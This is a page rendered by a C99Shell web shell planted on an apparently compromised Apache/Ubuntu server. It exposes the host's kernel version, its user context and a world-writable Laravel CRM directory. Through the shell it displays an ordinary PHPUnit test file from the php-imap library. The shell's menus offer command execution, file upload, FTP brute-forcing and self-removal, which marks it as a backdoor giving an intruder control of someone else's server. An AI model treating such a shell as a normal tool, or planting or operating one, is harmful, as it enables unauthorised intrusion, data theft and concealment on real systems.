!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/webklex/php-imap/tests/   drwxrwxrwx
Free 13.1 GB of 57.97 GB (22.6%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ClientManagerTest.php (2.27 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
* File: ClientManagerTest.php
* Category: -
* Author: M.Goldenbaum
* Created: 28.12.22 18:11
* Updated: -
*
* Description:
*  -
*/

namespace Tests;

use 
PHPUnit\Framework\TestCase;
use 
Webklex\PHPIMAP\Client;
use 
Webklex\PHPIMAP\ClientManager;
use 
Webklex\PHPIMAP\Exceptions\MaskNotFoundException;
use 
Webklex\PHPIMAP\IMAP;

class 
ClientManagerTest extends TestCase {

    
/** @var ClientManager $cm */
    
protected ClientManager $cm;

    
/**
     * Setup the test environment.
     *
     * @return void
     */
    
public function setUp(): void {
        
$this->cm = new ClientManager();
    }

    
/**
     * Test if the config can be accessed
     *
     * @return void
     */
    
public function testConfigAccessorAccount(): void {
        
self::assertSame("default"ClientManager::get("default"));
        
self::assertSame("d-M-Y"ClientManager::get("date_format"));
        
self::assertSame(IMAP::FT_PEEKClientManager::get("options.fetch"));
        
self::assertSame([], ClientManager::get("options.open"));
    }

    
/**
     * Test creating a client instance
     *
     * @throws MaskNotFoundException
     */
    
public function testMakeClient(): void {
        
self::assertInstanceOf(Client::class, $this->cm->make([]));
    }

    
/**
     * Test accessing accounts
     *
     * @throws MaskNotFoundException
     */
    
public function testAccountAccessor(): void {
        
self::assertSame("default"$this->cm->getDefaultAccount());
        
self::assertNotEmpty($this->cm->account("default"));

        
$this->cm->setDefaultAccount("foo");
        
self::assertSame("foo"$this->cm->getDefaultAccount());
        
$this->cm->setDefaultAccount("default");
    }

    
/**
     * Test setting a config
     *
     * @throws MaskNotFoundException
     */
    
public function testSetConfig(): void {
        
$config = [
            
"default" => "foo",
            
"options" => [
                
"fetch" => IMAP::ST_MSGN,
                
"open"  => "foo"
            
]
        ];
        
$cm = new ClientManager($config);

        
self::assertSame("foo"$cm->getDefaultAccount());
        
self::assertInstanceOf(Client::class, $cm->account("foo"));
        
self::assertSame(IMAP::ST_MSGN$cm->get("options.fetch"));
        
self::assertSame(falseis_array($cm->get("options.open")));

    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--